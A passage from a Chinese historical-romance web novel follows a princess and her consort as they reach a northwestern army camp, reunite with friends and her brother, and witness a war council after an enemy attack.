赵凉走到元辞章的身边，拍着胸脯问他：“多谢你！饿了一路，总算有口吃食了。对了，还不知道该如何称呼你？敢问尊姓大名？”
元辞章道：“免贵姓元。”
赵凉笑：“元大哥！”
赵渚无奈地扶额，自家弟弟这自来熟的性子啊。
好在，那位元公子脸上并无不虞。
赵凉接着道：“元大哥，你们来西北做什么？现在边关动荡，能不来就别来啊。”
他语气中隐隐有着关切，旋即小嘴一撇。赵渚突突直跳的太阳穴，刚想伸手拦住他，只听见赵凉干脆道：“我们此行要去西北大营，马车上运了八箱药材。”
元辞章眸光微闪，重复他的话：“西北大营？”
赵凉道：“对啊！元大哥你是不知道，前些日子我大哥偶然遇见一个姑娘，从此魂不守舍，那位姑娘说要按照约定将药材送去西北大营，我大哥生怕她出危险，主动替她来跑这一趟。”
说完，他又有些幽怨地望着赵渚：“大哥，你明明才认识那位姑娘不到三个月！怎么就值得为她冒险？……她给了多少佣金？”
赵渚望着傻弟弟，顿了顿，道：“有些事情，不必谈钱。”
赵凉仿佛听到了什么好笑的笑话。赵家
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世代经商，没想到有一天能从自家大哥口中听到不必谈钱这四个字。
赵凉自然是不信的，他挤眉弄眼地朝赵渚笑：“大哥，你是不是没告诉父亲，想把此次佣金收入自己的口袋，多少两？你告诉我，我必然不会告诉其他人。”
赵渚面色铁青，不语。
赵凉见赵渚不愿意搭理自己，转头朝着元辞章摊了摊手，故作正经道：“元大哥，让你见笑了。唉！有人非要拉我陪他走这一趟！现在却什么都不肯透露给我！”
赵渚忍无可忍，声音猛然抬高了几个度：“分明是你自己硬要跟上来的！”他走到赵凉的身边，伸手揪住后者的耳朵，“你说说你，一路上抱怨了多少次，因为你，原先五日的行程已经拖到现在！”
赵凉踮着脚尖，“疼疼疼……大哥我错了，你快松开我。”
赵渚训斥完弟弟，脑中短暂空白，片刻后回过神，朝元辞章歉意笑笑：“阁下见笑。”
元辞章莞尔，眼中浅淡的笑意一闪而过。
赵渚在心底默默感慨他涵养极好，而后拽住赵凉的衣袖，把他拉到另一边——元辞章虽然从始至终温温和和，但是脚下丝毫不让，很显然是守着东边厢房。
赵凉被赵渚拉入房舍，里面没有打扫，灰尘迭起，他呛得低咳几声，抱怨地望着赵渚：“你拉着我做什么？我还没有打听到元大哥做什么去。”
赵渚伸手在赵凉的头顶猛扣一个暴栗，呵斥道：“闭嘴。”
赵凉哼唧一声，坐在地上不说话了，赵渚见他安静下来，双眼有些放空。
还问他呢。人家从头至尾没说一句话，你倒是把自己抖落的干干净净。
兄弟二人坐在地上片刻，外面响起一阵短促的敲门声。
“赵公子，我们公子送的干粮和热水。”
赵凉眼睛一亮，站起身走到门口，拉开房门，看见放在地上的油纸包和水囊，眼睛笑眯成一条缝隙。
元大哥当真大方！
饼子做的大而厚实，里面的油酥和馅料配比刚好，一口咬下去，满口生香。
油脂在口中旋转，腻味之前，喝上一口滚烫的热水，瞬间整个身子都暖和起来。
赵凉吃得心满意足，两张饼子下肚后，见油纸包还剩下十三四张，推给赵渚，“大哥，你吃。”
赵渚缓缓回神，见赵凉腮帮子还在嚼动，吃了一惊，“你已经吃了？”
他这次实打实地有些生气，望着赵凉，语气有些恨铁不成钢：“不是和你说过……”
赵凉咽下口中的饼，舔了舔自己的下唇，接着道：“知道知道，出门在外旁人给的吃食一定要验过毒才能吃。”他歪了歪脑袋，语气无所谓，“可是我觉得，元大哥看着就像是好人啊！”
赵渚没有理会他，自顾自从袖中取出竹篾，用银针一一试过，才缓和了脸色。
赵凉睨着他，颇有几分翘起尾巴：“就说了，大哥，我看人很准的！”
赵渚神色复杂地望着他，今日才遭了一拨山匪，他却依旧对人这样不设防，也不知道以后是福是祸。
“罢了，”赵渚揉了揉眉心，对赵凉告诫道，“这次就算了，以后出门在外，防人之心不可无。”
198. 初到西北
翌日清晨，李意清满身疲惫地醒来。
昨夜睁眼到了半夜，听到外头隐约传来动静，本想出去看一眼，可困意上涌，她睡了过去。
睡着之后，并不安稳，一觉醒来，非但没能卸去满身倦累，反而像是干了一整夜的活，四肢都透出一股绵软的劲。
她出门的时候，赵家兄弟两人已经先行一步，地上只存在有他人来过的痕迹。
浓郁的香味钻进鼻尖，李意清被吸引了注意力，在院中四下梭巡。
院中烧着柴禾，火苗噼啪作响，火舌舔着一只被拔去毛的野鸡，鸡皮外焦，渗出的油脂汇成一滴，掉落火中。
李意清后知后觉发现自己饥肠辘辘，她有些垂涎地望着烤鸡，又睁着水灵灵的眼睛望着一旁看火的元辞章。
元辞章将鸡翻了个面，又在驿舍找出零碎的盐块，捣碎后，撒在鸡肉上。
这样的盐块巨大一块，纯度自然无法和京中上好的精盐相比，尝起来甚至泛着苦涩，元辞章斟酌着用量，并未多放。
见李意清一动不动盯着烤鸡，元辞章眸底飞快闪过一丝笑意，站起身走到她身边，“先去洗漱，再有一会儿，就可以吃了。”
李意清点了点头，一步三回头走到井边，掬起冷水漱口洁面。
井水沁凉，冷得她打了一个哆嗦。
等梳洗干净，元辞章已经将鸡肉撕开，盛在小碗中，旁边配着一张薄饼，还放着一碗热水。
茴香等李意清坐下，喝了一口热水，才敢动手拿起鸡翅抱在嘴里啃，一边啃，一边对李意清介绍道：“殿下，这鸡是驸马天不亮的时候上山捉的。”
李意清嗯了一声，面不改色地吃着碗中撕成细条的鸡腿肉。
茴香道：“现在初夏时节，山林多有匪徒流民，这野鸡野兔可精明着呢。驸马抓到这只野鸡，也费了不少功夫。”
元辞章面色淡然，道：“倒也没有。”
洛石小声道：“还嘴硬。”
茴香想附和，转头看见元辞章面如清霜的脸色，又将自己的话咽了下去，转头对毓心嘻嘻哈哈道：“还是新鲜的肉香。”
这边一派和乐，被看守在一旁的六个人则饥肠辘辘，眼巴巴地望着几人吃得喷香。
小孩昨夜吃个饼食，现下并不像其他五人那般饥饿，倒是成了六人中最淡定的。
絮娘看着一脸无欲无求的小孩，心底抱怨这孩子没眼见力，昨日倒是喂饱了他，现在跟个白眼狼似的，也不会想着自己亲娘还饿着呢。
絮娘气不过，伸手狠狠在孩子的胳膊上掐了一把，怨气十足。
孩子被掐了也默不作声，不声不响地往旁边移动了几步，继续低着头不语。
看起来心事重重。
孩子是指望不上了，絮娘只好自己壮着胆子道：“各位贵人，小的们到现在还没能吃上一口热饭，不知道可有多余的……”
她还没说完，洛石就冷冰冰道：“没有。”
絮娘：“……”
絮娘见他一副再多嘴就动手的架势，默默闭上自己的嘴巴，不敢再多说一个字。
几人的食量大小有限，每个随从都吃上了几口肉。肉吃完，骨架也没浪费，吊在锅炉上煮了一锅汤。
等了差不多一个时辰，熙州知州带着一列人马匆匆赶到，一走进驿舍，便急哄哄地寻找李意清的身影。
找到后，双眼放光，立刻头也不抬地拜倒在地，恭声呼道。
“下官冯和同拜公主殿下安好！公主殿下到此，下官没能远迎，实在是下官的失礼！”
拜完，保持着跪倒在地上的姿势，悄咪咪用眼角余光观察李意清的反应。
半天听不到声音，冯和同的心中也有些打鼓。昨夜夜里三更，忽然门外响起一阵叩门声，他心中火大，本想呵斥，谁知那人怀中忽然掏出一枚公主令。
冯和同被人夜半吵醒的戾气瞬间烟消云散，忙不迭地套了鞋袜去面见来人。熙州地僻，几年几月都见不着几次贵人，要是能在公主面前得脸，说不定还能混个京官当当。
熙州知州满怀期待出门去，只见来使面色阴沉，他心中咯噔一下，旋即脑海中反应过来——若是给公主殿下接驾，何至于这个点。
事情多半坏而不妙，冯和同屏住呼吸，听许三说出来意。
越听，脸上的冷汗流得越快。
公主黄昏在驿舍投宿，不得接待就算了，竟然还遇上了流匪。
冯和同脸色苍白，怀抱着一丝希冀问道：“公主殿下无事吧？”
许三像看白痴一样看着他，“区区毛贼，怎么可能是大内高手的对手？”
冯和同悬着的心落下来，一想也是，于是彻底松了口气。
如果於光公主在他的治下遇害，他这辈子仕途也就走到头了。不对，走到头是小，万一圣上震怒，说不定还会有性命之忧。
冯和同擦着额头上的汗水，询问道：“那公主殿下深夜派人来是为了？”
许三抱着胸，“你所辖地界出了这样的事情，殿下难道不能过问一句？”
原来是来问责的。冯和同瞬间心情又差了起来，怔愣一刻，半响没点反应。
直到旁边的师爷凑到他耳边猛地咳嗽，压低嗓音道：“知州大人，现在可不是逃避问责的时候，当有所为，才能熄了殿下怒火。”
冯和同如梦初醒，回首朝着许三道：“先生稍等片刻，本官这就去点将。”
冯和同跪着的时候，许三凑到李意清和元辞章的耳边，将昨夜请人的来龙去脉一五一十说了。
李意清听完，倒是觉得这熙州知州身边的师爷很是不错。
“起来吧。”李意清走到木桌边坐下，声音清清冷冷。
冯和同如蒙大赦，立刻麻溜地从地上爬了起来，一脸期期艾艾地看着李意清，见她没有说话，主动道：“殿下，下官此行带着精兵三十，必然剿灭作乱匪寇，请殿下不必担心。”
李意清不置可否地应了声，伸出白皙纤细的手指遥遥指向一旁抱团的六个人。
“他们六人，交给你处置。”
冯和同望着形容潦草的六人，心底猜测着李意清的态度。
他们六人蜷缩一侧，衣裳褴褛，神情萎靡，显然没能入得了李意清的青眼。既然李意清都不在意，他自然不能逆了她的心意。
冯和同想的出神，耳畔忽然想起李意清的声音，“他们六人的罪行难解，我怕处置有失公允，你也需多参
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考历年文书，许你半年之期，时间到时，本殿自会过问。”
半年？
冯和同迷茫地眨了眨眼睛，旁边的师爷见多识广，倒是有所耳闻——於光公主在舒州编纂历年公文，归纳成文，现在已经到了最后阶段。至于提出这样的要求，八成是决定将此案同写进去。
师爷主动俯身，替冯和同应了下来：“请公主殿下放心，师爷必然将此事处置妥当！”
李意清又看了一眼这位师爷，目光淡淡，微微颔首后，站起身准备和元辞章一道离开。
冯和同保持着拘礼的姿势调转了一个方向，语气恭敬：“下官恭送殿下。”
路过六人的时候，李意清的目光落在情绪低迷的孩子身上。昨天夜里她就发现，这孩子时而陷入颤抖不安，时而又会像现在这般出神，眼底暗淡无光，像是对什么都提不起兴趣。
李意清脚步不动声色地一顿，从他的身边经过。
这一顿落在师爷的眼中，瞬间解读出了许多不同寻常的意味，他附在冯和同的耳边道：“知州大人，殿下归来之前，您可千万别短缺了他们的吃食。”
冯和同自然无有不应。
*
日落前，山林渐小，沙地和草原的气息铺面滚来。
大漠孤烟直，长河落日圆。落日红而明亮，光线散落云层，将天际的轮廓勾勒，辽阔而旷远。
营帐成群连片，草地长到人脚踝的高度，流水蜿蜒，九曲回折。
和她想象中的大漠很像，却又不像。在文人墨客的笔下，西北大漠孤烟，一望无垠，黄沙漫天，号角声绵，豪情万丈；在盛蝉的口中，西北寂寞又热血，赛马蹴鞠，白杨野钓，其乐无穷也。
李意清脑海中无数次幻想，现在终于有了具体的模样。她心中有感，恨不能当下赋诗一曲。
刚酝酿起情绪，便被一声呼喊打断。
“意清！”
李意清抬眸望去，盛蝉骑在高头大马上，身着红色戎装，手拽缰绳，脸上笑意满盈，似乎连晚归的鸟雀都能感受到。
还没能马跑到李意清的近前，她就迫不及待翻身下马，马还在疾驰，她却不管不顾往下直冲，看得李意清一阵心惊胆战。
不过盛蝉身后的随行都已经习惯了她这样大咧咧的举动，熟稔地喝停奔跑的骏马。
盛蝉朝着李意清冲来，脸上满是笑意，她一边跑一边大喊：“意清！我好想你！”
李意清也被她身上的喜悦感染，松开元辞章的手，朝着盛蝉奔跑而去，两人紧紧抱在一起。
元辞章手心的温暖乍然消失，手中空落落的，还有些不习惯。
他摩挲着自己的指腹，目光沉沉地看着满面笑容的盛蝉。
盛蝉抱着李意清，像是怀中抱着一团柔软馨香的云，她生怕自己用力会把这团云捏碎，立刻松了些许。
“父亲说你要来的时候，我便已经开始期待了。”盛蝉望着李意清的眉眼，见她比起舒州又瘦削片刻，有些心疼，伸手在她的脸上捏了捏，对身边的随从道：“去营中挑一只肥羊，好生烤了。”
京城之事她有所耳闻，那边她够不着，不过现在好了，到了西北，她总能把李意清失去的精气神都养回来。
199. 草地黄昏
李意清笑吟吟地看着盛蝉细细向那人嘱咐，用什么碳，配什么料，加什么酒，烤到什么火候。
随从脑袋都听大了。当年盛复银小公子来这边，也没见盛将军这般热烈积极，光是要记住这些要求，都有些为难他。
好在，盛蝉已经说完，“先就这样。”
随从：“……好的，盛将军。”
他离开后，盛蝉眼底的喜悦依旧没有减少半分，她牵着李意清的手，招呼驭马的随从牵马过来，侧头道：“现在黄昏时分，草原景象万千，我带你去看看好不好？”
不等李意清回答，盛蝉又一拍脑门，“不对不对，你远道而来，想来是累了，要不今晚就先好好休息？”
李意清脸蛋白皙，因为兴奋，脸上透露着淡淡的红晕，看起来白里透红，像是剥了壳的鸡蛋。她神采奕奕，一路上的疲惫一扫而空，眸子中缀满细碎的星光，声音坚定：“我不累。”
盛蝉笑开：“好！那我们现在就去。”
洛石看了一眼站着不语的元辞章。
李意清被盛蝉牵着准备离开，走出去几步，想起什么，回头小跑着走到元辞章的面前。
跑动的时候裙摆轻轻飘动，脚步轻盈，活力满满。站在元辞章的面前，因为身高的差距，她需要微微抬头才能看清他的脸。
“元辞章，我和盛蝉去骑马。”
元辞章莞尔，“好。”
李意清轻柔柔道：“那我走了。”
元辞章：“嗯。”
李意清转身，她身上浅淡的馨香猝然远离，只见她迈着轻跃的脚步走回盛蝉的身边，朝后者嫣然一笑：“我们走罢。”
盛蝉眼神揶揄，侧头轻声和李意清说着什么，只见李意清点头如捣蒜，后来像是说到什么开心事，两人不约而同绽开笑容。
洛石看着李意清转身后，元辞章默不作声扯平的嘴角，忽然有些感慨，在元辞章的耳边幽幽道：“奴才许久没有见过殿下笑得这么开心了。”
元辞章：“……”
想说什么反驳，但是好像事实就是这样。
许三在元辞章身边伺候多年，立刻就感觉到了他身上克制的气闷，不行于色。他生怕被波及，立刻眼观鼻鼻观心，往旁边不着痕迹地移动些许。
元辞章此刻心绪不在两人身上，自然没有注意到。
李序泽迟来一步，过来的时候，只看见元辞章一个人站在原地。
李序泽跳下马，走到元辞章的身边朝后张望：“意清呢？”
他知道后特意洗漱，刮去脸上的胡茬，认真洁面，换上干净的衣裳，生怕露出一丝一毫的疲累。
元辞章看着李序泽额发上正在往下落着的水珠，知道他心底急切，顾不得收拾妥当就匆匆跑了过来，望了一眼，又移开了视线，言简意赅道：“你迟了一步，她和盛蝉走了。”
李序泽有些懊恼：“看来不该浪费时间在收拾自己上。”
元辞章不置可否。
来都来了，李序泽便和元辞章一道走在路上，偶尔询问两句京城近况，知道皇太后故去，心情蓦然沉重了几分。
晚风不理会愁绪，自在随风。李序泽缓缓吐出一口气，还算镇定地接受了这个事实。伸手在元辞章的肩膀上拍了拍，想要说些什么，却又无从说起。
两人在一顶营帐前停下，李序泽道：“这处营帐离将军营帐和我的营帐都不算远，你和意清就先住在这边。你且收拾，我出去一趟。”
李序泽需要独处时间，元辞章颔首，将带来的东西归纳收整。
另一边，李意清没有换上骑装，直接就着水蓝的广袍大袖翻身上马。
披帛既白又银，里面碎钻点点，金丝银线交织，在黄昏的光下像神女翩跹的光晕。
夕阳光线温柔，橘黄暖意融融，照在李意清含笑的面容上，仿佛镀了一层金色的柔光，凑近看，连脸上的细小绒毛都能看得一清二楚。
盛蝉落后她几丈之远，看晚风和骑行的风温柔地牵起李意清的衣摆，破风声哗啦作响。
李意清感受着风吹过脸颊，脸上满是新颖的好奇，她极目远眺，像是想看穿山河尽头。
盛蝉在后面道：“骑慢些。”
李意清听她的话拽住了手上的缰绳，等盛蝉和她并肩，两人任马匹疾步快走，在沿河的草地边踱步。
余晖落在河面，风吹起的涟漪闪耀着点点波光，金黄明亮。有一尾小鱼跃出水面，快到几乎瞬间，只剩下河边圈圈波纹昭示它曾经来过。
盛蝉喝停马，跳下马后，将马锁在地桩上，又走到李意清的身边，伸手去扶她下马。
李意清手按在盛蝉的手上，借力跳在草地上。
草地柔软，一脚踩上去，微微陷进去，翻出草肚白。
盛蝉将李意清的马拴好，牵着她走到河边，大咧咧地随地坐下，“意清，你也坐啊。”
李意清也没有心疼自己的缂丝衣裳，听到盛蝉的话，走到她身边并肩坐下。
“你怎么知晓我今日过来？”
盛蝉转头往她，嘴角噙着笑意，随性地张开双手往后一靠，抬头望天：“那当然是，你我心有灵犀！”
李意清双手抱着膝，听到她清脆的声音，嘴角勾了勾。
小腿肚放在草地上，刺得盛蝉有些痒，她笑弯了眉眼，在草地上打了一个滚，任自己趴在地上。
“自从知道你要来，我日日去望，迄今十一天。”
从顺成帝颁下旨意，驿使快马加鞭，半个月内送到消息，得到消息后，盛蝉满心欢喜，日日期待。
“意清，”盛蝉重新做起来，伸手遥遥指着日落的方向，“那边是银州和西庆，也是大夏的营帐所在。”
两军扎营，相距几十百里开外，李意清瞪大了眼睛，也看不清对面究竟有什么。
不过她心中并未泄气，她的手在草地上摸索，捡起一颗扁平的石块，伸手丢进了河中。
扁平的石块在水面上点了五下，才缓缓沉寂。
李意清语气淡然：“总有一日，我们可光明正大走在银州府街巷，赏西庆的火树银花。”
盛蝉抚掌大笑：“对，对。”
现在看不清又有什么关系，日后等收复回来，想怎么看，就怎么看。
盛蝉也在草地里翻找石头。扁平的石头稀少，盛蝉丢了一块，点了三下，再无波澜。
李意清眼底笑意一闪而过。<
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盛蝉颇有些不服气，又丢了七八块，最后一块不负她期待，堪堪点了六下。
“诺，我赢了。”盛蝉指着水面，忽然看见水面上气泡上涌，惊大眼睛，朝李意清比了一个嘘，做口型“加个餐”，然后穿着红色戎装扑入水中，一阵水花飞溅，她身上半湿。
湿透的地方比原先的红色更深，淅淅沥沥往下滴着水。
盛蝉眼中迸发光亮，欢呼道：“意清，我抓到了！”
她说着话，手紧紧地按着水下，压制着活泼乱动的鱼，等鱼挣扎的力道变小，盛蝉露出一个胜券在握的笑，伸手将鱼托了出来。
那是一条长得恰到好处的草鱼，长约一尺二寸，鳞片银白，鱼尾乱摆……
“哗啦——”
鱼尾溅起的水珠如一道弧线，落在盛蝉的脸上。
盛蝉却并不在意，哈哈大笑。手紧紧抱着鱼，生怕一不小心被它溜走。淌着水走到岸上后，盛蝉从马鞍上的侧兜中拿出一根细长的绳索，牢牢将草鱼吊住，悬在马侧。
李意清走到她身边，听到她小声的自言自语：“可惜是鲩，刺多，要是鲈鱼或者乌鳢就好了。不过也还不错啦，鱼头炖汤鱼尾红烧，恰恰好。”
两人在黄昏下絮絮叨叨，似乎感觉不到时光的流逝。天色越来越昏沉，漫天星子闪烁。
李意清有些贪恋地看着银汉流淌，星辰明灭。直到盛蝉小声催促，两人才重新骑上马，回到营帐前。
篝火堆上，烤好的羊肉香气四溢，滋滋作响，上面抹着各种汁水调料，火舌炙烤下，羊肉表皮焦黄，内里新嫩多汁。
元辞章坐在一旁喝着奶煮的茶水，奶味鲜浓，不过现在尝起来有些腥膻，等饭后要和伙房说一声，往里面加些糖和蜂蜜，李意清应当会喜欢这个味道。
李序泽心里记挂着李意清，有些坐立不安，正在来回踱步，时不时朝西边望一眼，口中自言自语：“怎么到现在还没有回来。”
直到两道身影越来越近，踢踏声近在耳边，李序泽才迫不及待走出去，看着李意清穿着宽大的袍子，身上披帛如流星。
“意清……”李序泽久别重逢的喜悦和寒暄生生在喉咙中咽了回去，蹙起眉头看着她，语气责备，“怎么不换一身骑装，若是披帛坠地，被马蹄踩到，后果不堪设想。”
李意清牵着缰绳的手紧了紧。
兄长的严厉虽然不是风雨雷电，却能在她心上掀起一场狂风骤雨。
李意清像是做错了事的孩子，绞着手指，睫毛颤了颤，语气平静道：“我心中有数。”
盛蝉在旁，缓缓给她行了一个注目礼。
这边柔和的嗓音，不知道还以为说的是“下次不会了”。
元辞章没忍住，极轻地笑了一声。李意清偶尔的叛逆和反抗，没有人比他更清楚。
他施施然站起身，准备走到马边，抱李意清下马，可有人先他一步。
李序泽走到李意清的身边。
他也有瞬间觉得是自己听错了，望着李意清无辜又明亮的眼眸，他心中原先升起的责备不知不觉消散了去，走到马的旁边，伸手扶着李意清缓缓下马，自己给自己找了一个台阶，轻声道：“下次不可。”
200. 自相矛盾
李意清含糊地应了一声，见李序泽眉宇一挑，似乎还有话要说，便轻轻晃着他的衣袖。
“皇兄，我饿了。”
这句话倒也不算作假，连日奔波，加上晚上出去了这么一趟，她肚子早就咕咕叫了。
李序泽更多斥责的话只好咽了回去，干巴巴道：“坐下吃饭吧。”
李意清小声欢呼一声，“皇兄真好。”旋即捏起裙摆，走到元辞章的身边坐下。
危机解除，盛蝉这才敢慢悠悠从旁边经过，将手中的草鱼递给厨子后，在李意清另一侧坐下。
元辞章刚上扬分毫的嘴角瞬间扯平，如果心情能够展现出来，周身当有雪花纷纷。
许三和洛石相视一眼，根本憋不住笑。
草原上的蔬菜稀少，大多从河间平原运来，用菜叶裹着烤好的羊肉，既有蔬菜的清香，解了烤肉的腻味，又有烤肉的酥脆，口齿生香，教人欲罢不能。
李意清第一次尝试这样的吃饭，很是新奇。盛蝉卷了一个后，她有样学样，接受得很快。
一口烈酒一口肉菜，十分满足。
众人围在篝火旁，那只看着颇为肥硕的羊也禁不住众人虎视眈眈，一众随行都分到了少许。
吃到一半，李意清忽然道：“对了，盛大将军不来吗？”
盛蝉的手一顿，没有说话。旁边的李序泽笑着道：“盛大将军担心自己年迈，扰了我们兴致，便婉拒了好意。”
实际上，盛大将军正在营帐和副将排兵布阵，上次峪门、渑山的失利，引起了大夏朝堂的忌惮，正准备派一员年轻将领。
据探子搜查得知，那位将领不但身有将衔，其身份也耐人寻味的很。大夏国先帝在位期间最中意的皇子并非当今坐在皇位上的六皇子，而是二皇子，后来围场意外，二皇子谋划不成反被射杀，先帝也被人“看管”了起来，后来先帝病故，六皇子顺理成章登上皇位。
这位将军，便是当时二皇子的亲子夏侯承。
这样的身份背景下，大夏国主还能心无旁骛地任命其为朝廷鹰犬，要么就是他在做做样子，要么就是这个夏侯承有真才实学，足以让国主放下偏见，将他派往这般重要的战场。
不过盛大将军却有一事百思不得其解，大夏既然有这样一位将军，以前却从未听说过其名号，只在去年大夏对战龟兹时大获全胜，将原先的边界之争差点打成了龟兹的保国之战，后传出了声望。更早以前的消息，派出再多的探子，也查不出东西。
像是凭空出现的一个人。
盛大将军沉思，烛台上火焰跳动，模糊了人的视线。
李意清望着篝火火星四溅，轻声道：“原来时这样啊。”火光照在每个人的脸上，温暖又安宁。
她像是随口一问，问完，便不再留恋。盛蝉和李序泽不约而同松了一口气，怕她继续追问。
架子上的羊肉只剩下一个骨架，众人吃得心满意足。
厨子端来最后一道鱼汤。草鱼被热油煎过，捣碎鱼骨，开水煮沸，煮出来的汤汁奶白浓郁。用滤网滤去骨碎尖刺，撒上些许胡椒，喝着正是清淡解腻。
李意清多饮了一碗，与盛蝉告别后，和元辞章并肩回到自己的营帐。
身后跟着一个李序泽。
李序泽今日喝了酒，脸色酡红，他许久没有喝，现在只觉得脑袋又疼又晕，只想倒头大睡一场。可心底又绷着一根弦，促使他跟上李意清的脚步。
“意清，”李序泽虽然醉了，但是口齿清晰，他一字一句认真道，“我知道父皇为什么派你过来。但是皇兄现在，真的不能离开。”
身后的随从想要伸手搀扶，却被他不动声色地拒绝。
李序泽眼眸晶亮，用醉醺醺的语气说着深思熟虑的话：“这段时日，别怪皇兄将你叩在北地。等战事了，回去后皇兄自会向父皇请罪，说你是被我胁迫，没有办法带我回京。”
人看着醉了，思路倒是还清醒的很。
李意清望着李序泽，听到已经为她做好了盘算，心中一阵暖意流淌。
她微微垂眸，纤长的眼睫微微颤抖，像是一只振翅欲飞的蝴蝶。身上的霜蓝裙袍在月光下月影流金，光彩熠熠，像是偶然坠落人间的神女。不过神女却蓦地轻叹：“父皇知晓我和盛蝉交好，在此处被你所辖，听着可不合理。”
在西北，盛家说的话，有时候可比顺成帝的话还要管用。
李序泽也想到了这一点，如果李意清当真执意带他回去，他还当真没有反抗之力。
毕竟盛蝉向着她，盛大将军顾着顺成帝旨意和向着女儿说话，也不一定会帮他。
李序泽清醒几分，不过太阳穴还是疼得厉害，他忍不住伸手揉了揉眉心，“无妨，说辞过得去就可以。”
只要顺成帝不盘根问底，查处两人，自然出不了岔子。
李意清有些诧异地看着李序泽。李序泽做人办事最讲究有理有据你来我往，这样敷衍的话从他嘴里说出来，当真显得怪异极了。
李序泽笃定道：“意清，你现在也不想回去吧？”
李意清点了点头。
今日之前并无眷恋，但是今日之后，她确实不想离开。
李序泽：“既然如此，你我兄妹二人，做事也有个伴。”
他说完，摇摇晃晃地转过身，摸索着回到自己的营帐。
李意清用胳膊轻轻撞了撞旁边的元辞章：“皇兄看着路都走不稳，你扶他回去？”
李序泽耳力极好，听到她的声音，不羁地摆了摆手，脚下步子越迈越快，“不用了。”
元辞章语气平静：“还要看着吗？”
李意清：“……不用了。”
她和元辞章回到帐中，看见堆放在一旁的东西，忽然想起李昀璟让她带来的东西，不由拍了拍脑门——今日光顾着和盛蝉出游，回来大快朵颐，竟忘了将东西交给皇兄。
罢了，明日再交也是一样的。
*
第二天晌午时分，醉酒的李序泽才幽幽转醒。
他不习惯人进帐伺候，因为昨夜怎样回来，今日便是怎样清醒。看
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着自己鞋履上的草泥，他仔细回忆了自己昨晚都做了什么，忍不住脸色一变。
喝酒当真误事！明明心中盘算的是将她原封不动的送回去，怎么说出口，就成了让她留下来。
真是误事！
李序泽在心中唾骂自己几声，打水洗了脸，走到李意清的营帐前。
李意清坐在帐中，早早就听到了洛石的通报，说是大皇子正在往这边走。
她出门迎接，准备将带来的东西转交给李序泽。
只见后者面色如玉，剑眉斜飞入鬓，面上毫无表情。走到李意清的身边，不等她说话，就道：“你和伯怀现在回去，我派人去为你们准备马车。”
李意清脸上的笑意渐渐消失，一动不动地盯着李序泽。
李序泽被她这样盯着，有些不习惯地轻咳一声，但是眼神坚定，不容商量。
“我派人送你们回去。”
他重申了一遍自己说的话。
李意清藏在袖中下的手握成了拳，修剪圆润的指甲尖刺进掌心，她却像感觉不到疼痛，只低声笑：“皇兄当真善变。”
“……”李序泽顿了顿，语气依旧平稳，“随你怎么说。”
李意清坐回榻边，脚尖点在地面，姿态轻松，“不过我既然来了，走不走，可就不是皇兄说了算了。”
李序泽眼神带上责备，搬出一副严厉兄长的架势：“李意清，我没跟你胡闹。”
李意清微微一笑：“我知道，我也没有跟皇兄胡闹。”
她抬眸望着李序泽能夹死苍蝇的眉宇，流转的目光中满是狡黠，“要么我将你带回去，要么你别管我是走是留，咱们兄妹两个，别想分开。”
李序泽怔怔地望着李意清，第一次清晰的认知道，李意清已经不是会跟在他身后只会叫着皇兄的小女孩了。
她有自己的主张和抉择，有了能够反驳自己的底气。
她的态度很明显：要么一起留下，要么一起离开。
李序泽发了很久的呆，最后道：“罢了，你现在翅膀硬了，我已经管不住你了。”
他的语气中带着几分不为人知的自嘲。这自嘲并非针对他人，而是对着自己。
其实在他的心底，也是期待着骨肉血亲能陪在自己的身边。西北孤寂，若是战事来临，他不幸身陨，有亲人在侧裹尸，倒也不至于寒凉怅惘。
李意清不知道他心中的百转千回，见兄长声音冷淡下来，心中仿佛比之前他严厉的语气更加不安，她收敛了脸上的笑意，走到李序泽身边，“皇兄，我知道你担心我，现在局势不稳，你怕护不住我，所以才会迫切地希望送我离开。”
李序泽没好气地看着她装乖。她明明心底什么都知道，可是她却不会照做。
“你既然知道，还……”
他话音未落，忽然传来一阵急促的脚步声，直直朝着他们所在的营帐而来。
一个身穿黑色甲胄的小兵单膝跪在门口，隔着帘子道：“末将奉命前来传话，两位殿下，大夏来犯！现已逼近西河口。”
201. 僵持
李序泽瞬间变了脸色，顾不得多说，朝着盛大将军营帐方向跑去。
李意清抿着嘴唇，对来报人颔首示意自己知晓后，换了一身更便于行动的装束。
盛大将军的营帐中，讲话声此起彼伏，说到激动的地方，声音慷慨激愤，破音都不足为奇。
李意清从营帐角门钻入，走到一大早就来到大将军帐中的元辞章的身边，先看了一眼上首阴沉着脸色的盛大将军，又见盛蝉不在营中——想来是被派出去御敌了。
几个副将争得面红耳赤，哼哧哼哧喘着粗气。
“大庆山河分毫不让，项将军，你说让了河西谷，岂不是将大好山川拱手送人！我决不能同意！”
“沿河西道向内，诱敌深入，一举击溃。罗将军，我方才只是说缓兵之计。”
旁边有赞成项将军看法的，立刻点了点头：“不错，河西谷以西地势坦途，我军不占优势，若是诱敌深入，倒是可以一搏。”
罗将军冷笑一声，掷地有声道：“当真觉得大夏军队看不出此计策？若是失利，北关口失守，刚夺回的便会峪门便会重新落入大夏手中，此番结果，难道是诸位想看到的吗？”
项将军一时间哑口，顿了顿，重新看向盛大将军，“大将军，你怎么看？”
盛大将军视线在面前的沙盘上观测，河西谷为西河起源，如果能让援兵渡水而去，不必到河西谷决战。
只是……
盛大将军还在犹疑的时候，传令兵冲了进来，单膝跪在地上拱手道：“大将军，大夏派兵八千人，我方不敌，已退避十里。”
项将军紧紧握拳，“大将军，不可犹疑了。”
盛大将军：“增兵三千，守住河西谷。”
传令兵得到讯令，立刻掉头就走。他前脚刚走，立刻又有人跑了进去。
“大将军，副将张柏肩中流箭，情况紧急。”
……
盛大将军一一吩咐，神色不敢丝毫懈怠。
李意清光是听着，只觉得心惊胆战。
从前战事讯息传到京城，无非大捷抑或惜败，可是站在营帐中，似乎被周身的气氛感染，心情也不由地迫切起来。
灯火彻底长明，营中无一人主动提出用饭。
天边浮现第一缕鱼肚白的时候，前线的消息传了回来，大夏驻军河西谷外，并未前行，盛将军与其交手，各有损益，暂时平衡。
说是平手，但是盛大将军知道这一次，又是大夏逊了一筹。
增兵三千，却还是让其在河西谷外驻军，当真可耻。
帐中气氛压抑，许久，盛大将军才道：“大夏这一战打得凶悍突然，不像是以前的作风，主帅必然发生变化，诸位先回去用饭，辰时一刻，再来详谈。”
现在寅卯交替之时，辰时一刻，满打满算一个时辰。
其余副将虽然心急如焚，将帅变化，形势危急，他们根本没心思吃饭，但是听到盛大将军的话语，还是一一拱手退下。
